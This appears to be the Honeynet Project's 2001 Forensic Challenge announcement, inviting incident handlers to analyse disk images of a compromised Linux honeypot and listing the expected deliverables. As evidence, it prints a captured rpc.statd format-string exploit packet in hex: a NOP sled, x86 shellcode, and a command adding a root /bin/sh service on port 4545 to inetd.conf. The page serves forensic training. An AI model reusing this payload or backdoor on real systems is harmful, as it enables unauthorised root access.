The Honeynet Project's Forensic Challenge was launched on January 15, 2001. This page links to all the information we've assembled about the Challenge. This index will help you quickly get to what you want.
Every day, incident handlers across the globe are faced with compromised systems, running some set of unknown programs, providing some kind of unintended service to an intruder who has taken control of someone else's -- YOUR, or your client's, or customer's -- computers. To most, the response is a matter of "get it back online ASAP and be done with it." This usually leads to an inadequate and ineffective response, not even knowing what hit you, with a high probability of repeated compromise.
On the law enforcement side, they are hampered by a flood of incidents and a lack of good data. A victim trying to keep a system running or doing a "quickie" job of cleanup usually means incidents are underreported and inadequate handling of the evidence leads to no evidence, or tainted evidence. There has to be a better way to meet the needs of incident handlers and system administrators, as well as law enforcement, if Internet crime is going to be managed and not run amok. One possible answer is effective forensic analysis skills -- widespread knowledge of tools and techniques -- to preserve data, analyze it, and produce meaningful reports and damage estimates to your organization's management, to other incident response teams and system administrators, and to law enforcement.
Enter the Honeynet Project. One of the primary goals of the Honeynet Project is to find order in chaos by letting the attackers do their thing, and allowing the defenders to learn from the experience and improve. The latest challenge, inspired by the Honeynet Project's founder Lance Spitzner, is the Forensic Challenge. Only this time, we're opening it up to anyone who wants to join in.
The Forensic Challenge is an effort to allow incident handlers around the world to all look at the same data -- an image reproduction of the same compromised system -- and to see who can dig the most out of that system and communicate what they've found in a concise manner. This is a nonscientific study of tools, techniques, and procedures applied to postcompromise incident handling. The challenge is to have fun, to solve a common real world problem, and for everyone to learn from the process. If what I've said already isn't enough to get you interested, Foundstone is generously offering copies of their extremely popular "Hacking Exposed" (Second Edition) book for the 20 best submissions.
To get you started, here are the basic facts about the compromise:
Nov 7 23:11:06 lisa snort[1260]: RPC Info Query: 216.216.74.2:963 -> 172.16.1.107:111 Nov 7 23:11:31 lisa snort[1260]: spp_portscan: portscan status from 216.216.74.2: 2 connections across 1 hosts: TCP(2), UDP(0) Nov 7 23:11:31 lisa snort[1260]: IDS08 - TELNET - daemon-active: 172.16.1.101:23 -> 216.216.74.2:1209 Nov 7 23:11:34 lisa snort[1260]: IDS08 - TELNET - daemon-active: 172.16.1.101:23 -> 216.216.74.2:1210 Nov 7 23:11:47 lisa snort[1260]: spp_portscan: portscan status from 216.216.74.2: 2 connections across 2 hosts: TCP(2), UDP(0) Nov 7 23:11:51 lisa snort[1260]: IDS15 - RPC - portmap-request-status: 216.216.74.2:709 -> 172.16.1.107:111 Nov 7 23:11:51 lisa snort[1260]: IDS362 - MISC - Shellcode X86 NOPS-UDP: 216.216.74.2:710 -> 172.16.1.107:871
11/07-23:11:50.870124 216.216.74.2:710 -> 172.16.1.107:871 UDP TTL:42 TOS:0x0 ID:16143 Len: 456 3E D1 BA B6 00 00 00 00 00 00 00 02 00 01 86 B8 >............... 00 00 00 01 00 00 00 02 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 01 67 04 F7 FF BF ...........g.... 04 F7 FF BF 05 F7 FF BF 05 F7 FF BF 06 F7 FF BF ................ 06 F7 FF BF 07 F7 FF BF 07 F7 FF BF 25 30 38 78 ............%08x 20 25 30 38 78 20 25 30 38 78 20 25 30 38 78 20 %08x %08x %08x 25 30 38 78 20 25 30 38 78 20 25 30 38 78 20 25 %08x %08x %08x % 30 38 78 20 25 30 38 78 20 25 30 38 78 20 25 30 08x %08x %08x %0 38 78 20 25 30 38 78 20 25 30 38 78 20 25 30 38 8x %08x %08x %08 78 20 25 30 32 34 32 78 25 6E 25 30 35 35 78 25 x %0242x%n%055x% 6E 25 30 31 32 78 25 6E 25 30 31 39 32 78 25 6E n%012x%n%0192x%n 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 EB 4B 5E 89 76 AC 83 EE 20 8D 5E 28 83 C6 ...K^.v... .^(.. 20 89 5E B0 83 EE 20 8D 5E 2E 83 C6 20 83 C3 20 .^... .^... .. 83 EB 23 89 5E B4 31 C0 83 EE 20 88 46 27 88 46 ..#.^.1... .F'.F 2A 83 C6 20 88 46 AB 89 46 B8 B0 2B 2C 20 89 F3 *.. .F..F..+, .. 8D 4E AC 8D 56 B8 CD 80 31 DB 89 D8 40 CD 80 E8 .N..V...1...@... B0 FF FF FF 2F 62 69 6E 2F 73 68 20 2D 63 20 65 ..../bin/sh -c e 63 68 6F 20 34 35 34 35 20 73 74 72 65 61 6D 20 cho 4545 stream 74 63 70 20 6E 6F 77 61 69 74 20 72 6F 6F 74 20 tcp nowait root 2F 62 69 6E 2F 73 68 20 73 68 20 2D 69 20 3E 3E /bin/sh sh -i >> 20 2F 65 74 63 2F 69 6E 65 74 64 2E 63 6F 6E 66 /etc/inetd.conf 3B 6B 69 6C 6C 61 6C 6C 20 2D 48 55 50 20 69 6E ;killall -HUP in 65 74 64 00 00 00 00 09 6C 6F 63 61 6C 68 6F 73 etd.....localhos 74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 t............... 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
/dev/hda8 / /dev/hda1 /boot /dev/hda6 /home /dev/hda5 /usr /dev/hda7 /var /dev/hda9 swap
a1dd64dea2ed889e61f19bab154673ab honeypot.hda1.dd c1e1b0dc502173ff5609244e3ce8646b honeypot.hda5.dd 4a20a173a82eb76546a7806ebf8a78a6 honeypot.hda6.dd 1b672df23d3af577975809ad4f08c49d honeypot.hda7.dd 8f244a87b8d38d06603396810a91c43b honeypot.hda8.dd b763a14d2c724e23ebb5354a27624f5f honeypot.hda9.dd f8e5cdb6f1109035807af1e141edd76d honeypot.hda1.dd.gz 6ef29886be0d9140ff325fe463fce301 honeypot.hda5.dd.gz 8eb98a676dbffad563896a9b1e99a95f honeypot.hda6.dd.gz be215f3e8c2602695229d4c7810b9798 honeypot.hda7.dd.gz b4ff10d5fd1b889a6237fa9c2979ce77 honeypot.hda8.dd.gz 9eed26448c881b53325a597eed8685ea honeypot.hda9.dd.gz
You can find the "dd" format disc images at:
The image files can be mounted on Linux systems using the loopback interface like this:
# mkdir /t # mount -o ro,loop,nodev,noexec honeypot.hda8.dd /t # mount -o ro,loop,nodev,noexec honeypot.hda1.dd /t/boot [ etc... ]
Its now your job -- should you choose to accept it! -- to figure out the Who, What, Where, When, How, and maybe even the Why of this compromise. We don't expect that everyone undertaking the challenge can or will address all of the following items, but the list below of questions and deliverables is provided as a guideline for what to produce and what to focus on:
To simplify and to normalize the results, assume that your annual salary is $70,000 and that there are no user-related costs. (If you work as a team, break out hours by person, but all members should use the same annual salary. Please also include a brief description of each investigator's number of years of experience in the fields of system administration, programming, and security, just to help us compare the number of hours spent with other entrants).
To summarize (and standardize) the deliverables, please produce the following:
File Contents --------------------------------------------------------------------- index.txt Index of files/directories submitted (including any not listed below) timestamp.txt Timestamp of MD5 checksums of all files listed and submitted (dating when produced -- see deadline information below) costs.txt Incident cost-estimate evidence.txt Time line and detailed (technical) analysis. (Use an Appendix, and/or mark answers to questions above with "[Q1]", etc.) summary.txt Management and media (non-technical) summary advisory.txt Advisory for consumption by other system administrators and incident handlers within your organization files.tar Any other files produced during analysis and/or excerpts (e.g., strings output or dissassembly listings) from files on the compromised file system, which are referenced in the previous files
No matter what tools/methods you choose, please make sure you explain them in your analysis and cite references to resources (e.g., RFCs, CERT or SANS "how to" documents) to help others learn by example. Don't forget: this is a Honeynet Project brainchild, so learning is what it's all about. And fun. It's all about learning and fun. Oh yeah, and security. Learning, fun, AND security. ;)
Please DO NOT SEND COPIES OF COMPLETE FILES FROM THE FILE SYSTEM. We already have a copy of the file system and its contents. Just note the path (e.g., "[See file /bin/foo]").
After the winners are announced, all entries will be posted for the security community to review. We hope that the community can better learn from and improve from all the different techniques that different people and organizations use.
Also, we wouldn't be the Honeynet Project if we didn't capture all of the blackhat's keystrokes as he exploited, accessed, and modified the honeypot! We will release the Honeypot Project's analysis of the hacked system, as well as the blackhat's keystrokes, along with the results of the Challenge on March 19.
Good luck, and have fun!
Dave Dittrich
(Thanks to Lance Spitzner, members of the Honeynet Project,
Dan Farmer, Wietse Venema, SecurityFocus.com, linuxsecurity.com, Foundstone,
Ali Ritter, and anyone else who helped develop or support the Forensic
Challenge whose name I may have left out.)